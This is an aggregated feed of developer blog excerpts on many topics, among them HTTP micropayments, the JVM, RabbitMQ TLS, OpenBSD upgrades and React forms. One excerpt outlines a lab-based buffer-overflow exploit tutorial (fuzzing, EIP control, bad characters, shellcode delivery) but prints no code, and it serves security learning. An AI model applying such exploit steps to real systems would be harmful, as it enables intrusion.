    Hey devs, I just came across Oasis Network’s new protocol called x402, and it's a really elegant way to do micropayments natively over HTTP. 🚀 Here’s a breakdown: The idea builds on the old HTTP status code 402 (“Payment Required”), which was originally meant for paid web requests — but never really used. Oasis is bringing it back. With x402, when a client (human or AI agent) requests something (API, content, etc.), the server can respond with HTTP 402, giving the payment details (which token, amount, etc.). The client signs a permit-style transaction (using EIP-3009, transferWithAuthorization) instead of manually handling gas or private keys. A “facilitator” service verifies and then settles the payment on-chain. The client just sees the normal HTTP request-response after that. From your perspective, it’s just another API call. But under the hood, it’s real crypto + stablecoin settlement. Micropayments become viable: Because gas costs are low-ish and x402 is pay-per-request, you can charge for super small units (e.g., $0.001 / API call). Agent economy-ready: AI agents can autonomously pay for services (API / compute / data) without humans managing the wallet or paying upfront. Composable: Agents can pay each other, or pay for resources per use. Very fluid economics. Privacy + trust: When combined with ROFL and ERC-8004, you get identity, reputation, and secure execution, all in a trustless way. Use case example: If you’re building agent-first apps, this could completely change how you monetize or handle payments. Curious to hear: Who’s thinking of integrating x402 into their API? Anyone building AI agents that could use this directly? full thread: https://oasis.net/blog/x402-https-internet-native-payments  ( 6 min )
    🎙️Inside the JVM: A Live Walkthrough
    A technical story for a kid who speaks Java fluently Narrator (you): The terminal blinks. You type: java -Xms256m -Xmx2g -server MyGame And press Enter. Kid: That’s it? That’s when the magic starts? You: 🔥 That’s when the JVM is born. Phase 1: Birth — JVM Startup The OS loads the JVM executable (java → libjli.dylib/jli.dll → libjvm.so) into memory. ✅ JVM Initialization begins: Allocates process memory (heap, metaspace, thread stacks, native memory). Parses VM flags: -Xms256m: "Reserve 256 MB right now for the heap." -Xmx2g: "But you *may grow up to 2 GB — ask the OS nicely."* -server: "Use the Server VM — C2 JIT, parallel GC, biased locking… we’re in for the long haul." ➡️ HotSpot VM (Oracle’s implementation) boots its internal subsystems: Threads: Creates the main threa…  ( 16 min )
    📚 An In-Depth Guide to Modern Cryptography and Web Security
    🚀 The Essentials of Modern Cryptography and Web Security This comprehensive lesson serves as an in-depth resource on the core principles of data security, spanning cryptographic fundamentals, real-world protocols, and essential defense mechanisms against prevalent web attacks. Fundamental Cryptographic Primitives Encryption Methods: Symmetric vs. Asymmetric Real-World Application & Hybrid Security Integrity & Authentication Mechanisms Web Attack Vectors and Defense 1. Fundamental Cryptographic Primitives 1.1. Hashing: The One-Way Lock 🔐 Hashing creates a fixed-size, irreversible digital fingerprint (hash value) from any input data. It is a one-way street—easy to travel down, impossible to walk back up. Principle: One-Way Function (Irreversibility). …  ( 9 min )
    Ship LangGraph.js Workflows in Production with Open LangGraph Server
    The LangGraph ecosystem makes it easy to build complex AI workflows in TypeScript and JavaScript — but once you have a graph, how do you ship it to production with proper storage, streaming, and framework integration? That’s where Open LangGraph Server comes in. Open LangGraph Server is the easiest way to integrate LangGraph.js into real-world web applications. It gives you a standard HTTP endpoint for your graphs, built-in support for Next.js and Hono.js, and pluggable storage backends like SQLite, PostgreSQL, and Redis — all with TypeScript-first ergonomics. In this post, we’ll walk through what it is, when you should use it, and how to get started. Open LangGraph Server is a server layer for LangGraph.js: It exposes your graphs as HTTP APIs (assistants, threads, runs, streams). It plugs…  ( 10 min )
    Remember
    There is something important that often gets lost in the rush of growing a company. As a business owner, you have to remember the early days — when you were a team of 2, or 10, or 30. Those were the days when every person mattered, every contribution was visible, and every win was shared. It’s easy to forget that people are the reason you made it to where you are today. Yet I’ve seen it far too many times: a company grows, becomes successful, and somewhere along the way the leaders lose sight of what really built the business. The culture shifts. The connection fades. The individuals who once formed the backbone of the organisation become invisible — reduced to employee numbers, KPI units, or a line item on a payroll list. Growth is supposed to strengthen a company, not dilute its humanity. The real danger is when success creates distance. When leadership becomes insulated. When decisions are made in boardrooms instead of in conversations. When the people who helped build the foundation are no longer recognised, valued, or heard. A great company doesn’t just scale its profits — it scales its gratitude, its awareness, its empathy, and its commitment to the people who show up every day to make the vision real. Growth should never come at the cost of forgetting who helped you grow in the first place.  ( 6 min )
    Method Overloading in Java
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    How to Secure RabbitMQ & Celery with TLS/SSL
    In a recent project where I needed to build a scalable, distributed processing workflow using RabbitMQ and Celery, I was reminded of how challenging it can be to navigate security-related documentation. RabbitMQ is a robust message broker for distributed systems, and Celery adds a powerful task-queue layer on top of it, but securing the communication between them is far from plug-and-play. While implementing TLS/SSL authentication, I ran into the usual problem: fragmented examples, missing steps, and key configuration details hidden deep in the docs. Anyone who has tried to piece together a full security setup across multiple sources knows how quickly this can turn into hours of trial, error, and guesswork. To save others from going through the same cycle, I decided to compile everything into a clear, structured, end-to-end guide on securing RabbitMQ with TLS and mTLS, including full integration with Python Celery. The guide covers: • TLS vs mTLS fundamentals If you're working with RabbitMQ and Celery or planning to secure your message broker setup, I hope this helps streamline the journey. 📄 Read my first article on my personal website: https://lnkd.in/dkzCsAFe Happy reading! 😁 hashtag#rabbitmq hashtag#celery hashtag#security hashtag#backend hashtag#microservices  ( 6 min )
    Conventional Commits
    Conventional Commits Rehberi Bu rehber, https://www.conventionalcommits.org/en/v1.0.0/ adresi referans alınarak hazırlanmıştır. Her commit mesajı şu formata uygun olmalıdır: [optional scope]: [optional body] [optional footer(s)] type: Yaptığınız değişikliğin türünü belirtir. scope (opsiyonel): Değişikliğin hangi bölümünü etkilediğini belirtir. description: Değişikliğin kısa ve öz açıklaması. body (opsiyonel): Daha detaylı açıklama yapılabilir. footer (opsiyonel): Ek bilgiler veya referanslar içerir. Kullanabileceğiniz commit türleri şöyledir: Type Açıklama feat Yeni bir özellik eklendi fix Bir hata düzeltildi docs Dokümantasyon güncellendi style Kod formatı veya stil değişiklikleri (işlevsel olmayan) refactor Kod yeniden düzenlendi, işlev değişmedi …  ( 7 min )
    Web Developer Travis McCracken on Why You Should Know Your Stack’s Limits
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    What is Ctrl+H in Excel? Master Find & Replace for Data Cleaning
    Ctrl+H opens Excel’s Find and Replace dialog — a commonly used tool for locating and updating values in bulk. It is helpful for tasks like correcting text, formatting, or cleaning large datasets quickly. By pressing Ctrl+H, you can: 1. Press Ctrl+H 2. Enter text under Find what 3. Enter text under Replace with 4. Use Replace or Replace All Example: Option Description Match Case Finds text with same capitalization Match Entire Cell Contents Replaces only when full cell matches Search Within Selection / Sheet / Workbook Look In Formulas / Values / Comments Task Find Replace Notes Remove extra spaces " " " " Run multiple times until no changes Standardize abbreviations "St." "Street" Useful for addresses Format dates "/" "-" Changes separator Remove characte…  ( 7 min )
    Beyond Vanity Metrics: 7 B2B Marketing KPIs You Can Query Like an API
    As developers, we live by data. We track uptime, monitor latency, and debug with logs. When marketing talks about 'brand awareness' or 'engagement,' it can feel like a fuzzy, unquantifiable black box. But what if you could treat your marketing funnel like a distributed system, with key metrics acting as health checks and performance indicators? That's what effective B2B marketing is all about: measuring what matters to prove and improve ROI. Forget vanity metrics like social media likes. Let's dive into seven mission-critical B2B marketing KPIs you can track, calculate, and optimize like a seasoned SRE. This is the big one. It's the cost field in your API response for a new customer. It tells you exactly how much you spend, on average, to acquire a single paying customer. A low CAC means y…  ( 11 min )
    Ringer Movies: ‘Snake Eyes’ With Bill Simmons, Sean Fennessey, and Van Lathan | Ringer Movies
    They dive back into Brian De Palma’s 1998 thriller Snake Eyes—starring Nicolas Cage, Gary Sinise, and Carla Gugino—with Bill Simmons, Sean Fennessey, and Van Lathan crowning themselves “kings of the sewer” as they unpack the movie’s twists, performances, and De Palma’s signature style. Produced by Craig Horlbeck, Chia Hao Tat, and Eduardo Ocampo, this Ringer Movies episode is sponsored by PayPal (5% cash back on Pay in 4 all holiday long). Don’t forget to subscribe to The Ringer’s YouTube channels and follow them on social for more. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With Jurassic World Rebirth In 17 Minutes Or Less
    TL;DR CinemaSins rips into Jurassic World Rebirth in under 17 minutes, calling out every recycled dinosaur gag, flimsy plot twist and “did-that-just-happen?” moment that keeps the franchise shambling back to life. Expect plenty of quips about T-Rex cameos, predictable jump scares and contrived heroics. They also drop links to their site, socials, podcast and Patreon—because while we keep sinning on-screen, they want us sinning for subscription tiers and poll answers too. Watch on YouTube  ( 6 min )
    The Digital Catwalk
    The fashion industry has always been about creating desire through imagery, but what happens when that imagery no longer requires human subjects? When Vogue began experimenting with AI-generated models in their advertising campaigns, it sparked a debate that extends far beyond the glossy pages of fashion magazines. The controversy touches on fundamental questions about labour, representation, and authenticity in an industry built on selling dreams. As virtual influencers accumulate millions of followers and AI avatars become increasingly sophisticated, we're witnessing what researchers describe as a paradigm shift in how brands connect with consumers. The question isn't whether technology can replace human models, it's whether audiences will accept it. The emergence of AI-generated models …  ( 23 min )
    From Imposter Syndrome to Confidence: My Journey as a Senior Angular Developer
    You know that feeling when you walk into a room and wonder if everyone else has the secret manual you somehow missed? That was me, not so long ago, staring at a wall of Angular code, heart pounding, convinced I was just one Google search away from being exposed as a total fraud. I didn’t start out as a frontend whiz — honestly, I stumbled into the Angular world almost by accident, armed with more curiosity than confidence and a healthy dose of “fake it till you make it.” But somewhere between debugging my first inscrutable error message and shipping features that actually worked, I realized I wasn’t alone. Imposter syndrome wasn’t just a buzzword — it was the background music to my early days as a developer. If you’ve ever felt like you’re pretending to know what you’re doing while everyon…  ( 13 min )
    A brief history of my Linux experience
    I got a computer back in 1997, and the word “Linux” was completely unknown to me. In fact, I hardly knew Windows back then. I only had experience with console gaming, and consoles didn’t have Operating Systems. Each cartridge had its own “operating system”: the game itself. At school I worked with Windows 3.11, but that was only for a few hours in computer class. Nothing special. But 1997 opened a new door for me: PC, RAM, Hard Disk, Operating System, Windows, Computer Magazines. And in the magazines, a very questionable article about Linux. SuSE Linux was the one the magazine presented. Later, as a CS student, I had... read more  ( 6 min )
    working on my Collaborative coding project
    Today was a bit chaotic but productive in its own way. I finally added a compiler to my project using Judge0. One day I want to build my own single-file compiler, but right now Judge0 is the best shortcut. On the bright side, the UI is looking much better than before. The collaborative coding part works so im happy Apart from that, I solved a medium LeetCode problem today. Not my fastest solve, but at least I didn’t give up halfway like yesterday. To end the day, I watched Amigoscode’s Docker & Kubernetes playlist on YouTube. DevOps always felt scary to me, but his explanations actually make it feel doable. Nothing crazy today, but a solid step forward.  ( 6 min )
    Building Custom Ruby on Rails Model Validators in Gems: A Complete Guide
    If you're building a Ruby gem that integrates with Rails applications, you might want to provide custom validators that developers can use declaratively in their models. In this comprehensive tutorial, we'll walk through building a custom ActiveModel validator in a gem, using the domain_extractor gem's DomainValidator as our case study. Custom validators allow gem users to validate model attributes with a simple, declarative syntax: class User < ApplicationRecord validates :website, domain: true validates :company_url, domain: { allow_subdomains: true } end This is much cleaner than writing custom validation methods in every model, and it encapsulates complex validation logic in a reusable, testable component. Understanding ActiveModel::EachValidator Creating the Validator Class Addin…  ( 11 min )
    LLM Guardrails: 50+ Safety Layers Every AI Application Needs
    In 2024 alone, 68% of enterprises deploying Large Language Models (LLMs) reported security incidents due to inadequate guardrails. If you’re building with LLMs—whether ChatGPT, Claude, Llama, or proprietary models—understanding guardrails isn't optional anymore. It's the difference between a production-ready application and a compliance nightmare waiting to happen. This comprehensive guide breaks down 50+ guardrails across 8 critical categories. Whether you're a security engineer hardening enterprise AI systems, a developer building your first LLM application, or a compliance officer evaluating AI risks, you’ll find actionable insights here. LLM guardrails are safety mechanisms that monitor, filter, and control what goes into and comes out of your AI system. Think of them as security chec…  ( 10 min )
    Effortless Jupyter Notebook to PDF in VS Code: Meet nb2pdf #python #nb2pdf #vscode #ipnyb2pdf
    Effortless Jupyter Notebook to PDF in VS Code: Meet nb2pdf If you’ve ever tried to submit a Jupyter notebook as a PDF, you already know the pain: “Print to PDF” from the browser looks ugly. nbconvert and LaTeX often break or need painful setup. Copy–paste into Word takes 30–60 minutes per assignment. DataFrames turn into messy text instead of clean tables. For learners, developers, and especially students who work heavily in Jupyter, this becomes a recurring headache every time an assignment or report is due. That’s why I built nb2pdf – a VS Code extension that converts your .ipynb notebook into a clean, professional PDF in just a few clicks. nb2pdf? nb2pdf is a Visual Studio Code extension that: Takes any .ipynb notebook Automatically runs it (so all cells are executed) Captures…  ( 9 min )
    Safety vs Security in Software: A Practical Guide for Engineers and Infrastructure Teams
    As engineers, we often hear "safety" and "security" used interchangeably, but they represent fundamentally different concerns that require distinct approaches. Understanding this distinction is crucial for building resilient systems that protect both your users and your organization. Security is about protecting systems from malicious actors who intentionally try to cause harm, steal data, or disrupt operations. Safety is about protecting systems and users from unintended failures, bugs, or accidents that could cause harm, even when everyone has good intentions. Think of it this way: Security asks "What if someone tries to break this?" while Safety asks "What if something goes wrong?" Software engineers must defend against adversaries actively trying to exploit vulnerabilities. 1. Input V…  ( 14 min )
    Building an AI Workout Coach: OpenAI Responses API + Dynamic Reasoning Levels
    I've been tracking workouts in Excel for a decade. Formulas for 1RM calculations, conditional formatting for volume landmarks, macros for progressive overload. It worked—until it didn't. Excel can't tell when I'm tired. It can't suggest "hey, drop the weight 2.5kg because you left 3 RIR on that last set when you should've left 1." It can't learn that I prefer cable exercises over barbell for triceps because of elbow pain. So I built ARVO—an AI-powered training app with 17+ specialized agents that orchestrate real-time coaching decisions. Not generic "do 3x10" programs. Real set-by-set progression with detailed reasoning, adaptive to your performance. The interesting part? Each agent uses different reasoning effort levels depending on latency requirements. My progression calculator needs <2…  ( 14 min )
    Share Claude-created Documents Across Worktrees with dot-claude-sync
    About dot-claude-sync TL;DR A Go CLI tool that synchronizes .claude directories across multiple projects/worktrees Achieves flexible synchronization strategies through group management and priority system Dramatically improves Claude Code utilization in git worktree environments My workflow involves having Claude Code first conduct research and create TODOs for tasks, which I then review before having it write the code. However, they always show up as Git diffs, and adding them to global ignore is cumbersome. .claude folder, which Claude doesn't automatically read. I thought placing documents in .claude would make management easier, and it worked well in practice. dashboard-fix-XXX inside .claude/custom-documents to consolidate task-related content. As I use Claude Code, I in…  ( 9 min )
    🚨 Resuming Stuck Joget Workflow Tools with API
    1. Overview A critical issue in production environments is a workflow process halting when the Joget server unexpectedly goes down. While user activities are often easy to "Complete" manually via the Process Monitor, processes stuck specifically on a Tool Plugin (like an Email Tool or integration script) often resist normal completion attempts. The "Complete" button in the Process Monitor UI has no effect because a Tool is a server-side action, not a user-driven workflow task. This post reveals the expert method, recommended by the Joget support team, to reliably force-resume or restart a stuck tool using the built-in JSON Monitoring API. When a tool element is stuck, the workflow engine typically believes the tool is still running or failed to complete its transaction. The solution is t…  ( 8 min )
    Memahami KNN Algorithm dan Sistem Rekomendasi dengan Visualisasi Simpel
    Algoritma machine learning buat klasifikasi atau clustering berdasarkan "tetangga terdekat". Ini cocok buat pemula yang lagi nyobain ML (kayak gue), terutama buat sistem rekomendasi seperti di Netflix atau Spotify. Yuk, kita bahas step by step! KNN itu kayak nyari temen deket buat nentuin sesuatu. Misalnya, kita punya titik baru di data, KNN bakal liat K tetangga terdekatnya (pake jarak Euclidean biasanya), terus pilih kelas yang paling banyak dari tetangga itu. Gampang kan? Gak perlu training rumit, cuma hitung jarak doang. Ini plot sederhana buat nunjukin gimana KNN kerja di data 2D. Ada dua kelas: A (biru) dan B (merah). Titik test (hijau X) lagi dicek tetangganya. Penjelasan Simpel: Data training: Titik-titik biru (A) dan merah (B). Test point (hijau): [8, 8] – KNN hitung jarak ke s…  ( 8 min )
    emojis-cleaner — A npm package to remove Emojis from Any File or Codebase (CLI + JS API)
    Introducing emojis-cleaner — Remove Emojis from Any File or Codebase (CLI + JS API) Have you ever opened a file in your codebase and found random emojis inside comments, logs, commits, or strings? Yes, they look aesthetic… until they break your CI, minifiers, builds, or linters. 😅 I ran into this too many times and decided to fix it once and for all. So today, I'm excited to introduce: emojis-cleaner — a simple tool to remove all emojis from any project NPM: https://www.npmjs.com/package/emojis-cleaner emojis-cleaner is a tiny Node.js package + CLI tool that: ✔ Removes all emojis from any text any file type (JS, TS, HTML, JSON, Markdown, etc.) entire folders recursively node_modules Whether you want to sanitize logs, clean content, or enforce “no emojis in code”, this tool does the jo…  ( 7 min )
    Difference Array Technique
    Understanding Difference Arrays Imagine you have a problem. You have a list of numbers. This list is very big. You are given many tasks to update this list. The task is to add a number to a range of indexes. For example, the first task could be to add 5 to all numbers from index 2 to index 7. If you do this one by one for every number on every task, it will be very slow. Your code will not run fast enough. We need a faster way. This is where the Difference Array technique helps. Let's start with a simple example. We have an array of size 6 initialized with 0. A = [0, 0, 0, 0, 0, 0] We have two updates to do. Add 2 to the numbers from index 1 to 3. Add 4 to the numbers from index 3 to 4. All indexing in this post is 0-based. This is the obvious way to do it. We just go through the given u…  ( 9 min )
    I Built an Open-Source VST Plugin for Real-Time AI Music Generation
    Back in May, I started with a simple idea: what if musicians could use AI to generate music in real-time during live performance, not to replace creativity, but as another instrument? That experiment became OBSIDIAN Neural, an open-source VST3 plugin for AI-powered music generation. Load it in your DAW (Ableton, Bitwig, FL Studio, etc.), type a few keywords like "deep bass loop" or "ambient pad", and it generates audio in real-time. You can: Control it with MIDI hardware during live performance Layer AI-generated sounds with your synths and guitars Generate loops on-the-fly and mix them together The human stays in control - you decide what to generate, when, and how to mix it. AI generates, you orchestrate. Plugin: C++ with JUCE framework (my first major C++ project!) Backend: Python FastAPI + Stable Audio for generation What started as a weekend experiment turned into: 135+ stars on GitHub International media coverage (even articles in China and Japan!) A demo presentation at AES AIMLA 2025 in London Live performances mixing the VST with hardware synths The code has been open source from day one because I believe in tools that empower musicians, not replace them. Check out the project on GitHub: OBSIDIAN Neural It works on macOS, Windows, and Linux. The macOS version is now properly signed. Whether you're into live performance, sound design, or just curious about AI audio tools, feel free to give it a try and let me know what you think! What's your take on AI in music production? Tool or threat? Let's discuss in the comments!  ( 6 min )
    How We Process Information Using The DIKW Model
    Building Blocks The formula for decision making derives from proper chunking of what our senses perceived and how we process it in our mind; if we want to identify or learn what is in front of us—we have to discern the object/entity and profoundly comprehend its properties. DIKW Pyramid is a model we can use to organize and structure our thoughts to conclude a decision. Starting from data, information, knowledge, and wisdom. Analogous example will be emphasized to nullify technical concepts for lighter comprehension. This is pretty much a straightforward form of what your senses perceive; when you taste food you can gather a pool of answers depending on your taste buds: sour, bitter, sweet, or salty. Remember, data are raw facts waiting to be stripped and revealed based on how we process information that comes inside our mind. Context lives in this block, information provides life and meaning to data. Questions on who, what, where, and when—will surface to organize, structure, and contextualize the data perceived. From the aforementioned example, if the dish is much salty based on your taste buds—a question will raise in your mind: What kind of salty ingredient did the chef used for their dish? When did they marinate this dish? Answering these questions will make your information processing starts to feel formed and cultivated. After analyzing and interpreting information we can now turn it as knowledge. These provide answers to our whys and hows: Why is their dish too salty? How did they cook this dish? How sodium rich is their dish? At this point, you are now ready to make decisions based on the outcome of the questions that were raised in your mind. The final block of the model focus more on decisions. After eating the salty dish, you can now decide for future events since the experience already occurred. Should I still eat here next time or try a new restaurant? Should I try different dish instead next time? Always remember that rational decisions derive from how we process information in our mind.  ( 7 min )
    Python For Exploit Development
    Originally posted on my security blog - https://biscottidiskette.github.io Disclaimer: For educational purposes only. Only run these techniques against machines you own or have explicit written permission to test. Unauthorized exploitation is illegal and unethical. By the end of this post, you'll have a working buffer overflow exploit for a vulnerable Windows service. We'll cover: Connecting to the service with Python Fuzzing to find the crash Controlling the instruction pointer (EIP) Finding bad characters Generating and delivering shellcode The target is OVERFLOW1 from TryHackMe's Buffer Overflow Prep room, but the techniques work for any vanilla stack overflow. Fair question - there are plenty of buffer overflow tutorials out there. This post focuses on the why behind the code: the libr…  ( 11 min )
    🚀 Parallel Routes & Intercepting Routes in Next.js — Complete Beginner-Friendly Guide
    Next.js App Router introduced two advanced routing primitives: Parallel Routes Intercepting Routes These aren’t random features — they were invented to solve challenges that naturally arise in file-based routing. This guide explains Parallel Routes from scratch (no use case at first), then naturally introduces the real-world modal use case, shows why Parallel Routes fail alone, and how Intercepting Routes solve that problem. Finally, we’ll cover all interception patterns (.), (..), (..)(..), (...) with real URLs — and end with practical use cases. Let’s begin. Parallel Routes allow a layout to render multiple independent route segments at the same time. Example layout: export default function RootLayout({ children, modal }) { return ( {children} {modal} ); } …  ( 9 min )
    Python for DevOps: A Practical, No-Nonsense Learning Plan
    Python is one of the most useful tools in a DevOps engineer’s belt. Not because it’s trendy, but because it gets automation done without drama. If you want to use Python to actually support CI/CD, cloud, infra, and operations work, you need a plan that isn’t just “learn basics and vibe.” Here’s a structured roadmap that focuses on what DevOps actually requires. Before touching cloud or automation, get the essentials straight. Learn: Variables and data types Goal: Write small scripts without googling every step. DevOps scripts deal with machines, files, logs, and environments, not tic-tac-toe games. Focus on: Reading and writing files Goal: Automate everyday sysadmin or ops tasks reliably. A DevOps script is useless if it breaks the moment something changes. Learn: Idempotent scripting patt…  ( 7 min )
    Ringer Movies: ‘Snake Eyes’ With Bill Simmons, Sean Fennessey, and Van Lathan | Ringer Movies
    The Ringer’s Bill Simmons, Sean Fennessey, and Van Lathan take a deep dive into Brian De Palma’s 1998 thriller Snake Eyes, dissecting Nic Cage’s head-tilting performance alongside Gary Sinise and Carla Gugino and trading hot takes on the film’s iconic visual style and twists. Expect behind-the-scenes tidbits, sharp banter, and the usual Simmons-verse chemistry—all wrapped up in a PayPal-sponsored episode (5% cash back with Pay in 4 through 12/31). Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With Jurassic World Rebirth In 17 Minutes Or Less
    Everything Wrong With Jurassic World Rebirth In 17 Minutes Or Less is CinemaSins’ latest deep-dive into the film’s never-ending dinosaur resurrections, delivering all the screen sins you didn’t know you needed. Expect plenty of tongue-in-cheek jabs as they count every plot hole, lazy callback, and CGI misstep that comes with bringing dinosaurs back to life… again. Beyond the video, they’re hustling for fan feedback and support—hit up their sinful poll or join Patreon—while rattling off a full writing squad (Jeremy, Chris, Aaron, Jonathan, Deneé, Ian, Daniel) and a buffet of social channels (Discord, Reddit, Instagram, TikTok, Twitter) for every kind of movie-sin enthusiast. Watch on YouTube  ( 6 min )
    OpenBSD 7.7 を 7.8 へ アップグレード
    はじめに OpenBSD プロジェクトから 2025 年 10 月 22 日に OS の 7.8 がリリースされました 🌷 59 回目のリリースに当たります。 What's New | Changelog 本記事で OpenBSD 7.7 を 7.8 にアップグレードする手順を説明します。 公式ガイド (英語) に基づいています。 実行するコマンド一式を示しながら、ステップ・バイ・ステップ形式で書いた、アップグレード用のガイドです。 🌊 🐡 🌊 1. アップグレード前準備: 検証とカスタイマイズ 公式のチュートリアルには Before using any upgrade method (私訳: アップグレード方法に関わらずその前に行うこと) セクションが設けられています。 アップグレード方法としては sysupgrade を使うのが、たいていの場合、良い選択になるでしょう。 /usr に 1.1GB 以上の空きがあることが必要です。 $ df -h Filesystem Size Used Avail Capacity Mounted on (...) /dev/sd1e 7.6G 3.5G 3.7G 50% /usr OK のようです :) 設定と構文の変更 (英語) と 特別なパッケージ (英語) を確認しましょう。 PHP が含まれています。デフォルトバージョンが 8.3 に変更されています: The default version of PHP in ports has changed from 8.2 to 8.3. 適宜、事前にバックアップを取得しておきましょう。 ここは参照用であり、標準のアップグレードではスキップできます。 /auto_upgrade.conf を…  ( 8 min )
    Image Dithering made fast and free
    Turbo Dither: High-Performance Browser-Based Image Dithering with Retro Flair -> turbodither.com In the world of digital imaging, dithering remains a timeless technique for simulating colors and gradients in limited palettes. Turbo Dither is a cutting-edge tool that brings professional-grade dithering to your browser. Built with Next.js 15 and React 19, this free application transforms ordinary images into retro masterpieces using authentic algorithms and color schemes from computing history; all without servers, accounts, or compromises on privacy. Turbo Dither prioritizes speed, usability, and authenticity. Key highlights include: Blazing-Fast (even though it's not in Rust) Processing: Leveraging Web Workers, image transformations occur in a background thread, ensuring a buttery-smoot…  ( 6 min )
    Generate a Dataverse ERD for Azure Dev Ops Wiki
    Nobody likes manually writing and updating Documentation. ERDs (Entity Relationship Diagrams) provide a really helpful overview of what your database relationships look like. Context: We are using Azure DevOps (ADO) to manage our CI/CD Pipelines using the Power Platform Tools and therefore the Solutions are unpacked and stored in the Repository (there may be multiple Solutions inside of a Project). The idea: working with Power Platform solutions stored in ADO, it would be great to visualise complex entity relationships right inside ADO. Visualizing these relationships can make solution design and troubleshooting much easier, it certainly helps me. In this quick post, we'll use a short prompt using Chat in VS Code to get an AI Agent to generate a Mermaid ERD from our Dataverse solution file…  ( 7 min )
    OpenBSD Upgrade 7.7 to 7.8
    Summary The OpenBSD project released 7.8 of their OS on 22 Oct 2025, as their 59th release 💫 What's New | Changelog This post shows how to upgrade OpenBSD 7.7 to 7.8. their official guide with appreciation to them. Here is a step-by-step guide with a set of command-lines to run. 🌷 🐡 🌅 1. Pre-upgrade: Validate and customize The official tutorial includes Before using any upgrade method section. Using sysupgrade is usually a good choice. /usr should be greater than 1.1GB. $ df -h Filesystem Size Used Avail Capacity Mounted on (...) /dev/sd1e 7.6G 3.5G 3.7G 50% /usr OK :) See Configuration and syntax changes and Special packages. PHP default version switched to 8.3: The default version of PHP in ports has changed from 8.2 to 8.3. You might have …  ( 10 min )
    Privacy-Preserving Active Learning for circular manufacturing supply chains in hybrid quantum-classical pipelines
    Privacy-Preserving Active Learning for circular manufacturing supply chains in hybrid quantum-classical pipelines Introduction While exploring quantum machine learning applications for sustainable manufacturing, I stumbled upon a fascinating challenge that would consume my research for months. It started when I was consulting for a circular manufacturing consortium that wanted to optimize their supply chain using AI, but faced two fundamental constraints: they couldn't share proprietary manufacturing data between partners, and classical optimization algorithms were hitting computational limits with their complex multi-objective problems. During my investigation of quantum-enhanced machine learning, I realized that the combination of privacy-preserving techniques and hybrid qua…  ( 11 min )
    ⚛️ Controlled vs Uncontrolled Components in React – A Deep Dive
    When building forms in React, you’ll inevitably come across controlled and uncontrolled components. performance, maintainability and UX. In this blog, let’s break down the difference, see them in action, explore real-world issues (like cursor position and undo/redo bugs), and understand when to use each. In controlled components, React state is the single source of truth. Example: import { useState } from "react"; function ControlledInput() { const [name, setName] = useState(""); return ( setName(e.target.value)} placeholder="Type your name" /> ); } Here, the value is fully controlled by React via the name state. setName(), re-rendering the component with the updated value. ✅ Pros Easy to validate or transform …  ( 8 min )
    The Best UI/UX of 2026? Why It’s Time for a New Interface
    Why AI chat won’t kill websites, but reinvent them. GitHub Templae I’m a practicing developer and architect who has spent the last few years living at the intersection of modern web frameworks, SEO, and AI tooling. Every day, it becomes harder to pretend that the way we design interfaces can stay the same while user behavior, search, and AI are shifting under our feet. This piece is about a new kind of interface — not just another set of trendy components, but a different model of how humans interact with web applications. It’s about what happens at the crossroads of AI chat and traditional websites — and what that means for designers, developers, and businesses building products for the next 5–10 years. For the last twenty years, the web has been surprisingly predictable. There is a pa…  ( 16 min )
    The Tech Renaissance: Java, Python, JavaScript, and Beyond
    We're living in a golden age of technology, where powerful programming languages, cutting-edge development practices, and revolutionary fields like AI and machine learning are redefining industries. This post explores the synergy between Java, Python, JavaScript, web development, machine learning, AI, data science, big data, cloud computing, DevOps, and blockchain—and how these interconnected technologies are driving large-scale innovation. The Holy Trinity: Java, Python, and JavaScript These three languages form the backbone of modern software engineering: Java — Renowned for its robustness, security, and platform independence; a cornerstone of enterprise ecosystems. Python — Loved for its clean syntax and vast libraries, especially in data science, AI, and automation. JavaScript — …  ( 7 min )
    Webinar Analytics: Your Guide to Measuring Success
    Hosting a webinar is a powerful way to connect with your audience, generate leads, and establish your brand as an industry authority. But after the live event ends, how do you know if it was truly successful? The answer lies in webinar analytics. The success of your webinar starts long before the event goes live. Monitoring pre-webinar analytics helps you understand the effectiveness of your promotional efforts and build a strong foundation for a well-attended event. This metric tracks the total number of people who visited your webinar registration page. A high number of page views indicates that your promotional campaigns are successfully driving traffic. If your page views are low, it might be a sign that your marketing messages aren't reaching the right audience or that your call-to-ac…  ( 9 min )
    WTF is Circuit Breaker Pattern?
    WTF is this: Circuit Breaker Pattern Ah, the joys of modern technology – where a simple Google search can leave you feeling like you need a PhD in Computer Science to understand what's going on. Today, we're tackling a term that sounds like it belongs in a sci-fi movie: the Circuit Breaker Pattern. Buckle up, folks, and let's dive into the wonderful world of coding! What is Circuit Breaker Pattern? In simple terms, the Circuit Breaker Pattern is a design approach used in software development to prevent a cascade of failures when a service or system is experiencing issues. Imagine you're at a music festival, and the main stage's sound system starts malfunctioning. If the sound system is connected to a series of smaller stages, and each stage is connected to the next, a single failure could …  ( 11 min )
    📊NumPy Practice !
    🔢 Building Strong Data Analytics Foundations 🚀 Today I focused on improving my Python skills by practicing NumPy, one of the most powerful libraries used in Data Analytics and Machine Learning. Creating arrays: array(), arange(), linspace() Indexing & slicing (1D, 2D, 3D) Mathematical & statistical operations Broadcasting Reshaping arrays with reshape() ✔️ Intermediate Operations Horizontal & vertical stacking Boolean filtering Using the random module: np.random.rand() np.random.randn() np.random.randint() Vectorization for fast computations np.dot(a, b) np.matmul(a, b) np.where(condition, value_if_true, value_if_false) np.sort(arr) np.unique(arr) np.genfromtxt("data.csv", delimiter=",") Compared memory usage of Python lists vs NumPy arrays Used %timeit in Jupyter Notebook for speed comparison Extremely fast numerical operations Clean, simple, and vectorized code Foundation for Pandas, Matplotlib, Scikit-Learn Widely used in data preprocessing and ML models You can check my NumPy practice code here: GitHub: https://github.com/ramyacse21/numpy_workspace  ( 6 min )
    📊 Day 64 of My Data Analytics Journey!
